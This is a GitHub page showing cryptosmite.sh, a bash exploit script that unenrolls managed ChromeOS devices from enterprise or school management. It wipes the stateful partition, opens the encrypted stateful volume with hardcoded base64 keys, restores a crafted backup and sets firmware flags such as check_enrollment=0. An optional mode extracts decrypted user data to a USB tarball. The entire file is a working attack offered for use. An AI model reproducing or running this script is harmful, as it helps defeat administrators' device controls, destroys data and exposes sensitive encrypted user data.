forked from FWSmasher/CryptoSmite
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcryptosmite.sh
executable file
·271 lines (243 loc) · 6.75 KB
/
cryptosmite.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#!/bin/bash
#
# cryptosmite.sh remake or something
# by Writable and OlyB
#
# unenroll only for now, will add more features later
#
set -eE
UNENROLL=1
ACTION1="erase"
ACTION2="unenroll"
USE_BACKUP=0
CONTINUE=0
WIPE_ENCSTATEFUL=0
wipe_encstateful() {
WIPE_ENCSTATEFUL=1
}
echo_sensitive() {
echo "$@"
}
print_welcome() {
echo "Welcome to the CryptoSmite toolkit (2024)"
echo "Please look at the following options: "
echo "(1) Unenrollment"
echo "(2) Re-enroll with backup (DO note: BACKUPS may contain unintended extensions that may leave your device open up to exploits.)"
echo "(q) Quit"
CONTINUE=1
}
mkdir -p /mnt/stateful_partition
reenroll() {
# sets unenroll to zero, so it mounts and has same behaviour. This caused problems with the original cryptocrafter script
UNENROLL=0
ACTION1="read"
ACTION2="capture all data on"
CONTINUE=1
}
skip_devmode() {
clear
echo "This will reboot your device, please press ctrl-c within 3 seconds if you have selected the wrong option to quit the program. THIS DOESN'T FEATURE UNENROLLMENT, SELECT OPTION 1."
mkfs.ext4 /dev/mmcblk0p1 -F
mount -o loop,rw /dev/mmcblk0p1 /tmp
touch /tmp/.developer_mode
umount /tmp && sync
reboot -f
exit 0 #if reboot fails for some weird reason
}
restore_backup() {
ACTION1="restore"
ACTION2="reset"
USE_BACKUP=1
}
confirm_choice() {
# Argument 1 is the function/string to confirm.
# If the user confirms: The function will decide whether it should reboot, exit, or return to the main menu.
# Otherwise exits back to the main menu loop.
while true
do
clear
local should_run=
echo "Are you sure you want to $1? (y/n)"
read -p ">" should_run
case "$should_run" in
y)
$1
return
;;
n)
echo "Exiting back to the main menu"
return
;;
*)
esac
done
}
if [ $(id -u) -gt 0 ]
then
echo "Please run $0 as root"
exit 0
fi
echo "-------------CryptoSmite------------"
selected_choice=""
while true
do
if [ $CONTINUE -gt 0 ]
then
break
fi
# Decided not to refactor unenroll into a bash function, and only add new functions that will get called, and determine if they should exit/reboot. See `confirm_choice`
clear
print_welcome
read -p "Select choice: " -r selected_choice
case $(echo $selected_choice | awk '{print(tolower($0))}') in
1)
# Unenrollment past this point it will just run the code after this
break
;;
2)
confirm_choice restore_backup
;;
q)
echo "Quitting now"
sleep 0.8
clear
exit 0
;;
*)
echo "Invalid option"
;;
esac
# TO unenroll
done
CRYPTSETUP_PATH=/usr/local/bin/cryptsetup_$(arch)
mount -o rw /dev/sda1 /mnt/stateful_partition
chmod +x /usr/local/bin/cryptsetup_aarch64
chmod +x /usr/local/bin/cryptsetup_x86_64
SCRIPT_DATE="[2024-03-19]"
BACKUP_PAYLOAD=/mnt/stateful_partition/stateful.tar.xz
clear
if [ $USE_BACKUP -gt 0 ]
then
echo "Please type in your encstateful path below"
read -p ">" stateful_path
BACKUP_PAYLOAD=$stateful_path
fi
NEW_ENCSTATEFUL_SIZE=$((1024 * 1024 * 1024)) # 1 GB
fail() {
printf "%b\n" "$*" >&2
exit 1
}
get_largest_cros_blockdev() {
local largest size dev_name tmp_size remo
size=0
for blockdev in /sys/block/*; do
dev_name="${blockdev##*/}"
echo "$dev_name" | grep -q '^\(loop\|ram\)' && continue
tmp_size=$(cat "$blockdev"/size)
remo=$(cat "$blockdev"/removable)
if [ "$tmp_size" -gt "$size" ] && [ "${remo:-0}" -eq 0 ]; then
case "$(sfdisk -l -o name "/dev/$dev_name" 2>/dev/null)" in
*STATE*KERN-A*ROOT-A*KERN-B*ROOT-B*)
largest="/dev/$dev_name"
size="$tmp_size"
;;
esac
fi
done
echo "$largest"
}
format_part_number() {
echo -n "$1"
echo "$1" | grep -q '[0-9]$' && echo -n p
echo "$2"
}
cleanup() {
umount "$ENCSTATEFUL_MNT" || :
${CRYPTSETUP_PATH} close encstateful || :
umount "$STATEFUL_MNT" || :
trap - EXIT INT
}
key_crosencstateful() {
cat <<EOF | base64 -d
24Ep0qun5ICJWbKYmhcwtN5tkMrqPDhDN5EonLetftgqrjbiUD3AqnRoRVKw+m7l
EOF
}
key_ecryptfs() {
cat <<EOF | base64 -d
p2/YL2slzb2JoRWCMaGRl1W0gyhUjNQirmq8qzMN4Do=
EOF
}
[ -f "$BACKUP_PAYLOAD" ] || fail "$BACKUP_PAYLOAD not found!"
CROS_DEV="$(get_largest_cros_blockdev)"
[ -z "$CROS_DEV" ] && fail "No CrOS SSD found on device!"
TARGET_PART="$(format_part_number "$CROS_DEV" 1)"
[ -b "$TARGET_PART" ] || fail "$TARGET_PART is not a block device!"
clear
echo "Welcome to Cryptosmite."
echo "Script date: ${SCRIPT_DATE}"
echo ""
echo "This will ${ACTION1} all data on ${TARGET_PART} and ${ACTION2} the device."
echo "Note that this exploit is patched on some release of ChromeOS r120 and LTS r114."
echo "Continue? (y/N)"
read -r action
case "$action" in
[yY]) : ;;
*) fail "Abort." ;;
esac
if [ ${UNENROLL} -gt 0 ]
then
echo_sensitive "Wiping and mounting stateful"
mkfs.ext4 -F "$TARGET_PART" >/dev/null 2>&1
else
echo "Not wiping stateful"
fi
STATEFUL_MNT=$(mktemp -d)
mkdir -p "$STATEFUL_MNT"
mount "$TARGET_PART" "$STATEFUL_MNT"
echo_sensitive "Setting up encstateful"
truncate -s "$NEW_ENCSTATEFUL_SIZE" "$STATEFUL_MNT"/encrypted.block # this keeps data, so we can actually read the old data
ENCSTATEFUL_KEY=$(mktemp)
key_ecryptfs > "$ENCSTATEFUL_KEY"
${CRYPTSETUP_PATH} open --type plain --cipher aes-cbc-essiv:sha256 --key-size 256 --key-file "$ENCSTATEFUL_KEY" "$STATEFUL_MNT"/encrypted.block encstateful
if [ $UNENROLL -eq 0 ]
then
echo "Not wiping stateful for extracting of data from stateful"
else
echo "Wiping and mounting encstateful"
mkfs.ext4 -F /dev/mapper/encstateful >/dev/null 2>&1
fi
ENCSTATEFUL_MNT=$(mktemp -d)
mkdir -p "$ENCSTATEFUL_MNT"
mount /dev/mapper/encstateful "$ENCSTATEFUL_MNT"
if [ $UNENROLL -eq 0 ]
then
echo "Backing up data!"
tar -czf /mnt/stateful_partition/saved.tar.gz $ENCSTATEFUL_MNT
echo "Successfully extracted encstateful data to /mnt/stateful_partition/saved.tar.gz on the USB! DO NOT SHARE THIS WITH ANYONE that you don't know, as it may contain sensitive information. WE WILL NEVER ASK YOU FOR THIS BACKUP!"
fi
echo_sensitive "Dropping encstateful key"
key_crosencstateful > "$STATEFUL_MNT"/encrypted.needs-finalization
echo $ENCSTATEFUL_KEY > /mnt/stateful_partition/enc.key
if [ $WIPE_ENCSTATEFUL -eq 0 ]
then
echo_sensitive -n "Extracting backup to encstateful"
tar -xf "$BACKUP_PAYLOAD" -C "$ENCSTATEFUL_MNT" --checkpoint=.100
echo ""
else
echo "Keeping encstateful empty"
fi
echo "Cleaning up"
cleanup
vpd -i RW_VPD -s check_enrollment=0 || : # this doesn't get set automatically
crossystem disable_dev_request=1 || :
crossystem disable_dev_request=1 # grunt weirdness
echo "SMITED SUCCESSFULLY!"
echo ""
echo "Exploit and original POC created by Writable (unretained)"
echo "This script created by OlyB"
echo ""
echo "Rebooting in 3 seconds"
sleep 3
reboot -f
echo "If your device hasn't rebooted, press refresh+power."
sleep infinity